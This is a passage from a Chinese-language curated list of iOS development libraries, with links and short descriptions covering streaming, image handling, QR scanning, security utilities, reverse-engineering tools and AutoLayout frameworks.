* [MiaowShow](https://github.com/SunLiner/MiaowShow) - iOS视频直播项目 http://www.jianshu.com/users/9723687edfb5.
* [LMLiveStreaming](https://github.com/chenliming777/LMLiveStreaming) - iOS Live,H264 and AAC Hard coding，support GPUImage Beauty， rtmp and flv transmission，weak network lost frame，Dynamic switching rate [参考文档](http://www.jianshu.com/p/b8db6c142aad).
* [PLPlayerKit](https://github.com/pili-engineering/PLPlayerKit) - PLPlayerKit 是 Pili 直播 SDK 的 iOS 播放器。支持所有直播常用的格式，如：RTMP、HLS、FLV。拥有优秀的功能和特性，如：首屏秒开、追帧优化、丰富的数据和状态回调、硬解软解支持。而且可以根据自己的业务进行高度定制化开发.
* [PLMediaStreamingKit](https://github.com/pili-engineering/PLMediaStreamingKit) - PLMediaStreamingKit 是 Pili 直播 SDK 的 iOS 推流端，支持 RTMP 推流，h.264 和 AAC 编码，硬编、软编支持。具有丰富的数据和状态回调，方便用户根据自己的业务定制化开发。具有直播场景下的重要功能，如：美颜、背景音乐、水印等功能.
* [520Linkee](https://github.com/GrayJIAXU/520Linkee) - 本项目实现了作为一个直播App的基本功能，比如本地视频流采集、播放、美颜、礼物、点赞出心等.
* [LMLiveStreaming](https://github.com/chenliming777/LMLiveStreaming) - iOS直播，支持H246/AAC，支持GPUImage美化，支持rtmp和flv，较慢的网络优化.
* [直播技术的总结](https://github.com/tiantianlan/LiveExplanation)
* [Tencent-NOW](https://github.com/ChinaArJun/Tencent-NOW) - iOS视频直播:高仿 腾讯旗下 < NOW > 直播 类似 映客 斗鱼 直播类型 喜欢的记点star谢谢 IOS Live video.
#### 弹幕@
* [BarrageRenderer](https://github.com/unash/BarrageRenderer) - 一个 iOS 上的弹幕渲染库.
* [LiveSendGift](https://github.com/Jonhory/LiveSendGift) - 直播发送弹幕效果.
* [HJDanmakuDemo](https://github.com/panghaijiao/HJDanmakuDemo) - iOS端视频弹幕.
#### GIF@
* [FLAnimatedImage](https://github.com/Flipboard/FLAnimatedImage) - 高性能GIF动画引擎.
* [YLGIFImage](https://github.com/liyong03/YLGIFImage) - 异步方式实现突Gif突破编码、显示，低内存占用.
* [AnimatedGIFImageSerialization](https://github.com/mattt/AnimatedGIFImageSerialization) - Complete Animated GIF Support for iOS, with Functions, NSJSONSerialization-style Class, and (Optional) UIImage Swizzling.
* [XAnimatedImage](https://github.com/khaledmtaha/XAnimatedImage) - XAnimatedImage is a performant animated GIF engine for iOS written in Swift based on FLAnimatedImage :large_orange_diamond:
* [SwiftGif](https://github.com/bahlo/SwiftGif) - :sparkles: A small UIImage extension with gif support :large_orange_diamond:
* [APNGKit](https://github.com/onevcat/APNGKit) - High performance and delightful way to play with APNG format in iOS. :large_orange_diamond:
* [YYImage](https://github.com/ibireme/YYImage) - Image framework for iOS to display/encode/decode animated WebP, APNG, GIF, and more.
* [NSGIF2](https://github.com/metasmile/NSGIF2) - Simplify creation of a GIF from the provided video file url.
* [SwiftyGif](https://github.com/kirualex/SwiftyGif) - High performance GIF engine :large_orange_diamond:
* [UIImageView-PlayGIF](https://github.com/yfme/UIImageView-PlayGIF) - UIImageView-PlayGIF.
* [droptogif](https://github.com/mortenjust/droptogif) - droptogif视频拖拽到应用窗口后自动转换为 GIF 动画（其转换进程动画效果也超赞）.
#### VR@
* [HTY360Player](https://github.com/hanton/HTY360Player) - 一款360度全景视频播放器.
* [ios-360-videos](https://github.com/NYTimes/ios-360-videos) - 基于AVPlayer的360度全景视频播放器.
#### AR@
* [Awesome-ARKit](https://github.com/olucurious/Awesome-ARKit) - A curated list of awesome ARKit projects and resources. Feel free to contribute.
* [AR-Source](https://github.com/GeekLiB/AR-Source) - AR开发资料汇总.
* [ARShooter](https://github.com/farice/ARShooter) - A demo Augmented Reality shooter made with ARKit in Swift (iOS 11) http://texnotes.me/post/5/.
* [SmileToUnlock](https://github.com/rsrbk/SmileToUnlock) - This library uses ARKit Face Tracking in order to catch a user's smile.
* [TGLAugmentedRealityView](https://github.com/gleue/TGLAugmentedRealityView) - Augmented Reality made easy -- place overlays on a camera preview and adjust their position depending on device attitude.
* [ARImageViewer](https://github.com/keayou/ARImageViewer) - 一款基于ARKit的AR图片查看器.
#### 二维码@
* [ZXingObjC](https://github.com/TheLevelUp/ZXingObjC) - 👍 An Objective-C Port of ZXing.
* [LBXScan](https://github.com/MxABC/LBXScan) - 👍 A barcode and qr code scanner (二维码、扫码、扫一扫、ZXing和ios系统自带扫码封装，扫码界面效果封装)(Objective-C和Swift均支持).
* [原生实现扫描二维码条码](http://code.cocoachina.com/view/129108) - iOS原生实现扫描二维码条码.
* [ZFScan](https://github.com/Zirkfied/ZFScan) - 仿微信 二维码/条形码 扫描.
* [HMQRCodeScanner](https://github.com/liufan321/HMQRCodeScanner) - 包含 UI 界面的轻量级二维码扫描及生成框架，提供一个导航控制器，扫描 二维码 / 条形码；能够生成指定 字符串 + avatar(可选) 的二维码名片；能够识别相册图片中的二维码(iOS 64 位设备).
* [QRCatcher](https://github.com/100mango/QRCatcher) - 一个简洁美观的二维码扫描应用， [iOS学习：AVFoundation 视频流处理--二维码].
* [BarcodeScanner](https://github.com/hyperoslo/BarcodeScanner) - 带状态控制的条码扫描库，支持处理相机权限、自定义颜色和提示信息，不依赖其他第三方库).
* [MQRCodeReaderViewController](https://github.com/zhengjinghua/MQRCodeReaderViewController) - 二维码扫描控件.
* [QRWeiXinDemo](https://github.com/lcddhr/QRWeiXinDemo) - 仿微信二维码扫描，中间透明区域.
* [EFQRCode](https://github.com/EyreFree/EFQRCode) - iOS 花式二维码生成库.
#### PDF@
* [Reader](https://github.com/vfr/Reader) - Reader可提供类似iBooks的文档导航，支持屏幕旋转和所有方向，并通过密码保护加密PDF文件，支持PDF链接和旋转页面.
* [PDFXKit](https://github.com/PSPDFKit/PDFXKit) - A drop-in replacement for Apple PDFKit powered by our PSPDFKit framework under the hood.
#### 图像@
* [SVGKit](https://github.com/SVGKit/SVGKit) - SVGKit是一个非常强大的，可以快速渲染SVG文件的框架。你可以直接把SVG文件加载至app中，并且SVG中的每个图形会变成一个CAShapeLayer，可以方便地进行缩放和动画你的图形。如果你想渲染app中的矢量图形，SVGKit是个不错的解决办法.
#### 拍照@
* [FastttCamera](https://github.com/IFTTT/FastttCamera) - FastttCamera 快速照相.
* [DBCamera](https://github.com/danielebogo/DBCamera) - DBCamera is a simple custom camera with AVFoundation.
* [ZPCamera](https://github.com/hawk0620/ZPCamera) - An OpenSource Camera App.
* [HeartBeatsPlugin](https://github.com/YvanLiu/HeartBeatsPlugin) - 手机摄像头测心率 带心率折线图和返回瞬时心率.
* [MARFaceBeauty](https://github.com/Maru-zhang/MARFaceBeauty) - 一款类似于FaceU的美颜相机，支持大部分基础功能：美颜，对焦，前后摄像头转换，过场动画...
#### 图像处理@
* [GPUImage](https://github.com/BradLarson/GPUImage) - 处理图片效果.
* [LearnOpenGLES](https://github.com/loyinglin/LearnOpenGLES) - OpenGL ES的各种尝试.
* [GPUImage详解](http://www.jianshu.com/nb/4268718)
* [OpenGLES详解](http://www.jianshu.com/p/64d9c58d8344) - 一个相对完整的OpenGLES的学习博客，包含源码.
* [OpenGLES系列教程](http://www.jianshu.com/nb/2135411)
* [CTPanoramaView](https://github.com/scihant/CTPanoramaView) - 显示球面、圆柱形的摄像.
* [HCPhotoEdit](https://github.com/gmfxch/HCPhotoEdit) - 仿Camera360 SDK，利用GPUImage框架实现基本的图片处理功能.
* [YYImage](https://github.com/ibireme/YYImage) - 功能强大的 iOS 图像框架，支持大部分动画图像、静态图像的播放/编码/解码.
* [TOCropViewController](https://github.com/TimOliver/TOCropViewController) - 图片裁剪.
* [BKAsciiImage](https://github.com/bkoc/BKAsciiImage) - Convert UIImage to ASCII art.
* [TinyCrayon](https://github.com/TinyCrayon/TinyCrayon-iOS-SDK) - 一个智能、易用的图片裁剪、Image markingSDK.
* [GPUImage Demo](https://github.com/loyinglin/GPUImage) - 源码级别对GPUImage进行剖析以及尝试.
* [YBPasterImage](https://github.com/wangyingbo/YBPasterImage) - 给图片添加滤镜、贴纸和标签功能，支持14种滤镜效果，17种标签样式.
* [hotoimagefilter](https://www.kancloud.cn/trent/hotoimagefilter/102786) - 专业介绍图像处理中各种滤镜的算法实现，C#版本.
* [DynamicClipImage](https://github.com/Yasic/DynamicClipImage) - iOS实现动态区域裁剪图片.
#### 图像浏览@
* [MWPhotoBrowser](https://github.com/mwaterfall/MWPhotoBrowser) - 一个非常不错的照片浏览器 [解决MWPhotoBrowser中的SDWebImage加载大图导致的内存警告问题](http://www.superqq.com/blog/2015/01/22/jie-jue-mwphotobrowserzhong-de-sdwebimagejia-zai-da-tu-dao-zhi-de-nei-cun-jing-gao-wen-ti/).
* [TZImagePickerController](https://github.com/banchichen/TZImagePickerController) - 很赞 一个支持多选、选原图和视频的图片选择器，同时有预览功能，适配了iOS6789系统。[教程](http://www.cocoachina.com/ios/20160112/14942.html).
* [RMPZoomTransitionAnimator](https://github.com/recruit-mp/RMPZoomTransitionAnimator) - 一个放大缩小的动效开源库，可以实现图片的放大缩小效果.
* [ZLPhotoBrowser](https://github.com/longitachi/ZLPhotoBrowser) - 方便易用的相册多选框架，支持预览/相册内拍照、预览快速多选相片，3DTouch预览照片，单选gif、Live Photo及video；相册混合选择；原图功能；支持多语言国际化（中文简/繁，英语，日语）；在线下载iCloud端图片；自定义最大选择量及最大预览量；自定义照片升序降序排列；自定义照片显示圆角弧度.
* [CLImageEditor](https://github.com/yackle/CLImageEditor) - 超强的图片编辑库，快速帮你实现旋转，防缩，滤镜等等一系列麻烦的事情.
* [PYPhotoBrowser](https://github.com/iphone5solo/PYPhotoBrowser) - 图片浏览器。主要用于社交app,用于呈现一组图片。流水布局 、 线性布局；单击 、双击 、捏合 、旋转、拖拽、侧滑.
* [EBPhotoPages](https://github.com/EddyBorja/EBPhotoPages) - 类似facebook的相册浏览库.
* [RSKImageCropper](https://github.com/ruslanskorb/RSKImageCropper) - 适用于iOS的图片裁剪器，类似Contacts app，可上下左右移动图片选取最合适的区域.
* [WZRecyclePhotoStackView](http://code.cocoachina.com/detail/232156) - 删除照片交互--WZRecyclePhotoStackView，就是模拟生活中是删除或保留犹豫不决的情形而产生的。 在上滑，下滑的部分，借鉴了[TinderSimpleSwipeCards](https://github.com/cwRichardKim/TinderSimpleSwipeCards).
* [react-native-image-crop-picker](https://github.com/ivpusic/react-native-image-crop-picker) - iOS/Android image picker with support for camera, configurable compression, multiple images and cropping.
* [PhotoTweaks](https://github.com/itouch2/PhotoTweaks) - 这个库挺赞的，正好是对图像操作的.
* [MHVideoPhotoGallery](https://github.com/mariohahn/MHVideoPhotoGallery) - A Photo and Video Gallery.
* [CorePhotoBroswerVC](https://github.com/CharlinFeng/CorePhotoBroswerVC) - 快速集成高性能图片浏览器，支持本地及网络相册.
* [KYElegantPhotoGallery](https://github.com/KittenYang/KYElegantPhotoGallery) - 一个优雅的图片浏览库.
* [SDPhotoBrowser](https://github.com/gsdios/SDPhotoBrowser) - 仿新浪动感图片浏览器,非常简单易用的图片浏览器，模仿微博图片浏览器动感效果，综合了图片展示和存储等多项功能.
* [HZPhotoBrowser](https://github.com/chennyhuang/HZPhotoBrowser) - 一个类似于新浪微博图片浏览器的框架（支持显示和隐藏动画；支持双击缩放，手势放大缩小；支持图片存储；支持网络加载gif图片，长图滚动浏览；支持横竖屏显示）.
* [ZZPhotoKit](https://github.com/ACEYL/ZZPhotoKit) - 基于Photos和AVFoundation框架开源，相册多选与相机连拍.
* [MarkingMenu](https://github.com/FlexMonkey/MarkingMenu) - 基于手势、类似 Autodesk Maya 风格标记菜单及图片渲染.
* [SXPhotoShow](https://github.com/dsxNiubility/SXPhotoShow) - UICollectionViewFlowLayout流水布局 是当下collectionView中常用且普通的布局方式。本代码也写了三种好看的布局，其中LineLayout和流水布局有很大的相同点就直接继承UICollectionViewFlowLayout，然后StackLayout，CircleLayout这两种都是直接继承自最原始的UICollectionViewLayout 布局方案.
* [PictureWatermark](https://github.com/cgwangding/PictureWatermark) - 主要实现了给图片加文字以及图片水印的功能，已封装成了UIImage的类别，方便使用.
* [PhotoBrowser](https://github.com/CharlinFeng/PhotoBrowser) - 照片浏览器.
* [StitchingImage](https://github.com/zhengjinghua/StitchingImage) - 仿微信群组封面拼接控件, 直接拖进项目就可使用，[教程](http://gold.xitu.io/entry/56395f5360b20b143a9178f6).
* [SDECollectionViewAlbumTransition](https://github.com/seedante/SDECollectionViewAlbumTransition) - 用自定义的 push 和 pop 实现了有趣的 iOS 相册翻开动画效果.
* [DNImagePicker](https://github.com/AwesomeDennis/DNImagePicker) - 类似wechat的图片选择.
* [CocoaPicker](https://github.com/lioonline/CocoaPicker) - 仿QQ图片选择器（OC）.
* [JFImagePickerController](https://github.com/johnil/JFImagePickerController) - vvebo作者：多选照片、预览已选照片、针对超大图片优化.
* [VIPhotoView](https://github.com/vitoziv/VIPhotoView) - 图片浏览，用于展示图片的工具类，因为是个 View，所以你可以放在任何地方显示。支持旋转，双击指定位置放大等.
* [YUCIHighPassSkinSmoothing](https://github.com/YuAo/YUCIHighPassSkinSmoothing) - 磨皮滤镜.
* [react-native-image-crop-picker](https://github.com/ivpusic/react-native-image-crop-picker) - iOS/Android image picker with support for camera, configurable compression, multiple images and cropping.
* [YUGPUImageHighPassSkinSmoothing](https://github.com/YuAo/YUGPUImageHighPassSkinSmoothing) - 一个基于 GPUImage 的磨皮滤镜.
* [XHImageViewer](https://github.com/JackTeam/XHImageViewer) - XHImageViewer is images viewer, zoom image.
* [card.io-iOS-SDK](https://github.com/AllLuckly/card.io-iOS-SDK) - OCR光学识别储蓄卡以及信用卡,[oc与swift使用教程](http://www.jianshu.com/p/82f73c23a76a).
* [自定义宽高比的相册框 拍照](http://code.cocoachina.com/detail/320603/) - 取出照片时 弹出自定义view。在这个自定义view上创建一个需要的相框大小的view层 把取出的图片赋值给UIImageView按缩放添加到这个层上。对uiimageView添加捏合、移动 手势。添加按钮 选取，最后根据位移和缩放比例 裁剪image.
* [LGPhotoBrowser](https://github.com/gang544043963/LGPhotoBrowser) - LGPhotoBrowser:相册选择/浏览器/照相机（仿微信）,包含三个模块：照片浏览器，相册选择器，照相机.
* [BeautyHour](https://github.com/xujingzhou/BeautyHour) - 完整应用，功能与“美图秀秀”雷同.
* [WSImagePicker](https://github.com/wsjtwzs/WSImagePicker) - 高性能多选图片库，类似于微信发布朋友圈中 ‘获取相册及拍照’模块.
* [JTSImageViewController](https://github.com/jaredsinclair/JTSImageViewController) - 图片浏览.
* [SGPhotoBrowser](https://github.com/Soulghost/SGPhotoBrowser) - 图片浏览.
* [HeavenMemoirs](https://github.com/SherlockQi/HeavenMemoirs) - AR相册 Photo Album For AR.
* [QBImagePicker](https://github.com/questbeat/QBImagePicker) - A clone of UIImagePickerController with multiple selection support.
#### 图像缓存@
* [SDWebImage](https://github.com/rs/SDWebImage) - 非常优秀的图像缓存库.
* [UIActivityIndicator-for-SDWebImage](https://github.com/JJSaccolo/UIActivityIndicator-for-SDWebImage) - 为SDWebImage显示加载效果.
* [FastImageCache](https://github.com/path/FastImageCache) - 👍 非常棒的一个 一个高效显示图片的库，支持图片缓存、平滑滚动和图片检索.
* [DFImageManager](https://github.com/kean/DFImageManager) - 图片加载、处理、缓存、预加载.
* [LKImageKit](https://github.com/Tencent/LKImageKit) - Tencent:A high-performance image framework, including a series of capabilities such as image views, image downloader, memory caches, disk caches, image decoders and image processors.
* [Twitter Image Pipline](https://github.com/twitter/ios-twitter-image-pipeline) - Twitter出品的一个高性能的图片下载、缓存库.
* [AlamofireImage](https://github.com/Alamofire/AlamofireImage) - Alamofire的一个图片组件，支持图片序列化，UIImage扩展（压缩、缩放、圆角、核心图像），单个、多个的图片过滤、自动清除内存，队列图片下载、URL鉴定、图片占位和异步远程图片下载、UIImageView过滤和转换等. An image component library for Alamofire.
* [AsyncImageView](https://github.com/nicklockwood/AsyncImageView) - 一个易用的UIImageView扩展，用于异步加载、显示图片，对UI显示无影响。
* [PINRemoteImage](https://github.com/pinterest/PINRemoteImage) - 一个线程安全、高效的远程图片管理库，支持图片下载、缓存、处理，也支持GIF.
* [FastImageCache](https://github.com/path/FastImageCache) - 非常赞 FastImageCache 网络图片获取及缓存处理，[iOS图片加载速度极限优化—FastImageCache解析](http://blog.cnbang.net/tech/2578/).
* [YYWebImage](https://github.com/ibireme/YYWebImage) - 异步图片加载库 (supports WebP, APNG, GIF).
* [EGOCache](https://github.com/enormego/EGOCache) - 十分知名的第三方缓存类库，可以缓存NSString、UIImage、NSImage以及NSData。除此，如果还可以缓存任何一个实现了<NSCoding>接口的对象。所有缓存的数据都可以自定义过期的时间，默认是1天。EGOCache 支持多线程（thread-safe），[UITableView加载多张照片导致内存上涨的问题](http://www.superqq.com/blog/2014/11/06/ioskai-fa-:uitableviewjia-zai-duo-zhang-zhao-pian-dao-zhi-nei-cun-shang-zhang-de-wen-ti/)。
* [YYWebImage](https://github.com/ibireme/YYWebImage/) - 一个图片加载库 YYWebImage，支持 APNG、WebP、GIF 播放，支持渐进式图片加载，更高性能的缓存，更多图像处理方法，可以替代 SDWebImage 等开源库，[相关文章](http://blog.ibireme.com/2015/11/02/mobile_image_benchmark/).
* [JDSwiftAvatarProgress](https://github.com/JellyDevelopment/JDSwiftAvatarProgress) - 容易定制的异步图片加载进度条.
* [ImageButter](https://github.com/dollarshaveclub/ImageButter) - 平滑的处理网络图片，支持缓存，异步编码，加载进度View，GIFs动画等.
#### 滤镜@
* [XBImageFilters](https://github.com/xissburg/XBImageFilters) - 图像滤镜.
* [CoreImageShop](https://github.com/rFlex/CoreImageShop) - CoreImageShop图片滤镜处理-- Mac app that let you create a complete Core Image Filter usable on iOS using SCRecorder。
#### 图像识别@
* [libfacedetection](https://github.com/ShiqiYu/libfacedetection) - C++ 人脸识别 包含正面和多视角人脸检测两个算法.优点:速度快(OpenCV haar+adaboost的2-3倍), 准确度高 (FDDB非公开类评测排名第二），能估计人脸角度.
* [YLFaceuDemo](https://github.com/Guikunzhi/YLFaceuDemo) - 在直播应用中添加Faceu贴纸效果。Faceu贴纸效果其实就是在人脸上贴一些图片，同时这些图片是跟随着人脸的位置改变的。[说明](http://www.jianshu.com/p/ba1f79f8f6fa).
* [IDCardRecognition](https://github.com/zhongfenglee/IDCardRecognition) - 中国大陆第二代身份证识别，自动读出身份证上的信息（姓名、性别、民族、住址、身份证号码）并截取身份证照片 Edit
* [ZQCNN](https://github.com/zuoqing1988/ZQCNN) - 一款比mini-caffe更快的Forward库，觉得好用请点星啊，400星公布快速人脸检测模型，500星公布106点landmark，600星公布人头检测模型，700星公布人脸检测套餐（六种pnet,两种rnet随意混合使用满足各种速度/精度要求），800星公布更准的106点模型.
* [AiyaEffectsIOS](https://github.com/aiyaapp/AiyaEffectsIOS) - 宝宝特效 SDK IOS Demo，支持美颜，3D特效，3D动画特效，2D特效等，免费使用 visual effects IOS demo, support 3D effect, 3D Animation, 2D effect for FREE http://www.bbtexiao.com/.
* [SSIDCard](https://github.com/sansansisi/SSIDCard) - iOS中国二代身份证号扫描识别.
#### 图像圆角@
* [ZYCornerRadius](https://github.com/liuzhiyi1992/ZYCornerRadius) - 赞 一句代码，圆角风雨无阻。A Category to make cornerRadius for UIImageView have no Offscreen-Rendered, be more efficiency. http://zyden.vicp.cc/zycornerradius/
#### 截屏@
* [PPSnapshotKit](https://github.com/VernonVan/PPSnapshotKit) - 在包括 UIWebView 和 WKWebView 的网页中进行长截图.
* [SDScreenshotCapture](https://github.com/shinydevelopment/SDScreenshotCapture) - 一个工具类，用于捕获不包括 iOS 状态栏的应用程序窗口的屏幕截图.
#### 安全@
* [Objective-C-RSA](https://github.com/ideawu/Objective-C-RSA) - Doing RSA encryption and decryption with Objective-C on iOS.
* [NSDictionary-NilSafe](https://github.com/allenhsu/NSDictionary-NilSafe) - How we made NSDictionary nil safe at Glow.
* [Myriam](https://github.com/GeoSn0w/Myriam) - A vulnerable iOS App with Security Challenges for the Security Researcher inside you.
* [LuLu](https://github.com/objective-see/LuLu) - 防火墙 LuLu is the free open-source macOS firewall that aims to block unauthorized (outgoing) network traffic.
* [Valet](https://github.com/square/Valet) - 让你安全地存储在iOS和OS X的钥匙串数据，而无需了解的钥匙扣如何工作的事情.
* [Hopper App](https://www.hopperapp.com/) - Hopper Disassembler是一款逆向工程工具，iOS爱好者可以使用它来进行反汇编，反编译和调试应用程序。此工具也可用于修改和重组代码。你只需在你的macOS或Linux系统上启动该应用，然后将其指向你需要破解的二进制文件即可。总的来说Hopper是一款非常好用的逆向工程工具，对于热衷于iOS漏洞赏金的人而言，无疑它将成为一个首选.
* [ios-class-guard](https://github.com/Polidea/ios-class-guard) - 一个用于混淆iOS的类名、方法名以及变量名的开源库--有人反映编译出来的app运行不了.
* [《Protecting iOS Applications》](https://www.polidea.com/#!heartbeat/blog/Protecting_iOS_Applications) - 文章系统地介绍了如何保护iOS程序的代码安全，防止反汇编分析.
* [MMPlugin](https://github.com/gaoshilei/MMPlugin) - 微信自动抢红包、防消息撤回、修改运动步数、朋友圈小视频转发等功能（无需越狱），附微信重签名教程.
* [fishhook](https://github.com/facebook/fishhook) - fishhook是Facebook开源的一个可以hook系统方法的工具.
* [MonkeyDev](https://github.com/AloneMonkey/MonkeyDev) - CaptainHook Tweak、Logos Tweak and Command-line Tool、Patch iOS Apps, Without Jailbreak.
* [MSCrashProtector](https://github.com/JZJJZJ/MSCrashProtector) - An Global protection scheme(代码容错处理).
* [JMPasswordView](https://github.com/Juuman/JMPasswordView) - 简单实用的手势密码，效果可自行调控.
* [LSSafeProtector](https://github.com/lsmakethebest/LSSafeProtector) - 防止crash框架，不改变原代码支持KVO自释放，可以检测到dealloc时未释放的kvo，等19种crash.
* [WHC_ConfuseSoftware](https://github.com/netyouli/WHC_ConfuseSoftware) - iOS代码自动翻新(混淆)专家(WHC_ConfuseSoftware)是一款新一代运行在MAC OS平台的App、完美支持Objc和Swift项目代码的自动翻新(混淆)、支持文件名、类名、方法名、属性名、添加混淆方法体、添加混淆属性、自动调用混淆方法等。。。功能强大而稳定.
* [仿密码锁-九宫格](http://code.cocoachina.com/detail/298556/%E4%BB%BF%E5%AF%86%E7%A0%81%E9%94%81-%E4%B9%9D%E5%AE%AB%E6%A0%BC/) - 仿密码锁-九宫格，主要是使用UIButton 手势事件 UIBezierPath画图，解锁失败弹出“密码错误”.
* [CoreLock](https://github.com/CharlinFeng/CoreLock) - 本框架是高仿支付宝，并集成了所有功能，并非一个简单的解锁界面展示。个人制作用时1周多，打造解锁终结者框架.
* [LikeAlipayLockCodeView](https://github.com/crazypoo/LikeAlipayLockCodeView) - 高仿支付宝手势解锁（超级版）.
* [Smile-Lock.swfit](https://github.com/liu044100/Smile-Lock) - 一个类似于iOS的解锁界面.
* [PCGestureUnlock](https://github.com/iosdeveloperpanc/PCGestureUnlock) - 目前最全面最高仿支付宝的手势解锁，而且提供方法进行参数修改，能解决项目开发中所有手势解锁的开发.
* [ICPayPassWordDemo](https://github.com/icoder20150719/ICPayPassWordDemo) - CPayPassWordDemo，一个模仿支付宝支付密码输入对话框小demo.
* [RSAESCryptor](https://github.com/bigsan/RSAESCryptor) - 加密 RSA+AES Encryption/Decryption library for iOS. This library uses 2048-bit RSA and 256-bit key with 128-bit block size AES for encryption/decryption.
* [TouchID](https://github.com/bringbird/TouchID) - 用法简单的TouchID验证框架：两行代码搞定.
* [SFHFKeychainUtils] (https://github.com/ldandersen/scifihifi-iphone) - iOS中使用SFHFKeychainUtils保存用户密码，比如项目中需要保存用户密码，以实现自动登录的功能可以使用.
* [AESCipher-iOS](https://github.com/WelkinXie/AESCipher-iOS) - AESCipher-iOS:用 Objective-C 实现的 AES 加密。与 [AESCipher-Java](https://github.com/WelkinXie/AESCipher-Java) 一并使用能达到 在iOS、Android、Java后台产生相同密文、正确解密成明文的目的。[AES加密 - iOS与Java的同步实现](http://www.jianshu.com/p/df828a57cb8f).
* [ABPadLockScreen](https://github.com/abury/ABPadLockScreen) - 九宫格密码锁.
* [DKWechatHelper](https://github.com/DKJone/DKWechatHelper) - 不止于抢红包，功能丰富的微信插件.
#### 逆向@
* [ios-app-signer](https://github.com/DanTheMan827/ios-app-signer) - 重签名工具.
* [app2dylib](https://github.com/tobefuturer/app2dylib) - A reverse engineering tool to convert iOS app to dylib.
* [iWeChat](https://github.com/lefex/iWeChat) - 我们一起来还原微信。希望通过 iWeChat 这个项目能过勾勒出微信的设计，使用到的技术手段等.
#### AutoLayout@
* [Masonry](https://github.com/SnapKit/Masonry) - 非常赞-Masonry是一个轻量级的布局框架，拥有自己的描述语法，采用更优雅的链式语法封装自动布局，简洁明了并具有高可读性（ [使用介绍1](http://adad184.com/2014/09/28/use-masonry-to-quick-solve-autolayout/) [使用介绍2](http://ios.jobbole.com/81483/)），[iOS自适应前段库-Masonry的使用](http://www.cocoachina.com/ios/20150702/12217.html)），[Masonry、Classy、ClassyLiveLayout介绍](http://www.jianshu.com/p/2ed5f7444900)。[使用DEMO](https://github.com/lcddhr/DDMasonryTest) 视图居中显示、子视图含边距、视图等距离摆放、计算ScrollView的contentsize.
* [Classy](https://github.com/ClassyKit/Classy) - Classy是一个能与UIKit无缝结合stylesheet(样式)系统。它借鉴CSS的思想，但引入新的语法和命名规则，[Classy官网](http://classy.as/getting-started/)，[Masonry、Classy、ClassyLiveLayout介绍](http://www.jianshu.com/p/2ed5f7444900).
* [ClassyLiveLayout](https://github.com/olegam/ClassyLiveLayout) - ClassyLiveLayout通过结合Classy stylesheets与Masonry一起使用，能够在运行的模拟器中微调Auto Layout约束实时显示效果的工具，[Masonry、Classy、ClassyLiveLayout介绍](http://www.jianshu.com/p/2ed5f7444900).
* [PureLayout](https://github.com/PureLayout/PureLayout) - PureLayout 是 iOS & OS X Auto Layout 的终极 API——非常简单，又非常强大。PureLayout 通过一个全面的Auto Layout API 扩展了 UIView/NSView, NSArray 和 NSLayoutConstraint，仿照苹果自身的框架.
* [UIView-AutoLayout](https://github.com/smileyborg/UIView-AutoLayout) -Deprecated in favor of PureLayout, which includes OS X support:https://github.com/smileyborg/PureLayout.
* [UIView-FDCollapsibleConstraints](https://github.com/forkingdog/UIView-FDCollapsibleConstraints) - 一个AutoLayout辅助工具，最优雅的方式解决自动布局中子View的动态显示和隐藏的问题。第二个Demo模拟了一个经典的FlowLayout，任意一个元素隐藏时，底下的元素需要自动“顶”上来，配合这个扩展，你可以在IB里连一连，选一选，不用一行代码就能搞定.
* [Autolayout_Demo](https://github.com/luodezhao/Autolayout_Demo) - 在项目中用自动布局实现的类似抽屉效果.
* [当view隐藏的时候也隐藏其autolayout的NSLayoutAttribute](http://code.cocoachina.com/detail/320405/) - 当view隐藏的时候也隐藏其autolayout的NSLayoutAttribute，从而不用大量的代码工作.
* [SDAutoLayout](https://github.com/gsdios/SDAutoLayout) - AutoLayout 一行代码搞定自动布局！支持Cell、Label和Tableview高度自适应，致力于做最简单易用的AutoLayout库.
* [MyLinearLayout](https://github.com/youngsoft/MyLinearLayout) - MyLayout is a powerful iOS UI framework implemented by Objective-C. It integrates the functions with Android Layout,iOS AutoLayout,SizeClass, HTML CSS float and flexbox and bootstrap. So you can use LinearLayout,RelativeLayout,FrameLayout,TableLayout,FlowLayout,FloatLayout,PathLayout,LayoutSizeClass to build your App 自动布局 UIView UITableView UICo…
* [WHC_AutoLayoutKit](https://github.com/netyouli/WHC_AutoLayoutKit) - Had better use the auto layout of open source framework，致力打造使用最简单功能最强大的自动布局开源库.
* [NerdyUI](https://github.com/nerdycat/NerdyUI) - 好用的快速布局 UI 库，适用于 iOS 8 及以上版本.
* [FlexLib](https://github.com/zhenglibao/FlexLib) - FlexLib is a framework for creating native iOS applications using a human-readable markup language, similar to Android and .NET development way. It's based on flexbox model, easy & powerful. Trash xib & storyboard, autolayout & masonry now. :).
#### 数据结构/算法@
* [LearningMasteringAlgorithms-C](https://github.com/yourtion/LearningMasteringAlgorithms-C) -《算法精解：C语言描述》源码及Xcode工程、Linux工程.
* [Changeset](https://github.com/osteslag/Changeset) - Minimal edits from one collection to another :large_orange_diamond:
* [Brick](https://github.com/hyperoslo/Brick) - :droplet: A generic view model for both basic and complex scenarios :large_orange_diamond:
* [Algorithm](https://github.com/CosmicMind/Algorithm) - Algorithm is a collection of data structures that are empowered by a probability toolset. :large_orange_diamond:
* [AnyObjectConvertible](https://github.com/tarunon/AnyObjectConvertible) - Convert your own struct/enum to AnyObject easily. :large_orange_diamond:
* [EKAlgorithms](https://github.com/EvgenyKarkan/EKAlgorithms) - Some well known CS algorithms & data structures in Objective-C.
* [Monaka](https://github.com/naru-jpn/Monaka) - Convert custom struct and fundamental values to NSData.
* [Pencil](https://github.com/naru-jpn/pencil) - Write values to file and read it more easily. :large_orange_diamond:
* [AlgorithmOC](https://github.com/wang542413041/AlgorithmOC) - OC算法与数据结构实现.
* [100-Days-Of-iOS-DataStructure-Algorithm](https://github.com/renmoqiqi/100-Days-Of-iOS-DataStructure-Algorithm) - 100天iOS数据结构与算法实战.
#### 上架@
* [Solve-App-Store-Review-Problemm](https://github.com/wg689/Solve-App-Store-Review-Problem) - (ipv6,ipv6被拒绝,后台定位等审核问题的终极解决方案汇总).
#### iOS11@
* [iOS11](https://github.com/2877025939/iOS11) - 这里总结了大家iOS 11，iPhone X 适配问题.如有问题，欢迎大家讨论.
#### 应用内支付@
* [IAPDemo](https://github.com/WildDylan/IAPDemo) - 应用内支付IAP全部流程, [教程](http://www.jianshu.com/p/e9ae4cece800).
* [IAPHelper](https://github.com/saturngod/IAPHelper) - 应用内付费给我们提供了很多样本代码，而这个库丢掉了那些代码，将金钱交易相关的大多通用任务做了简单的封装.
#### UI@
#### 综合UI@
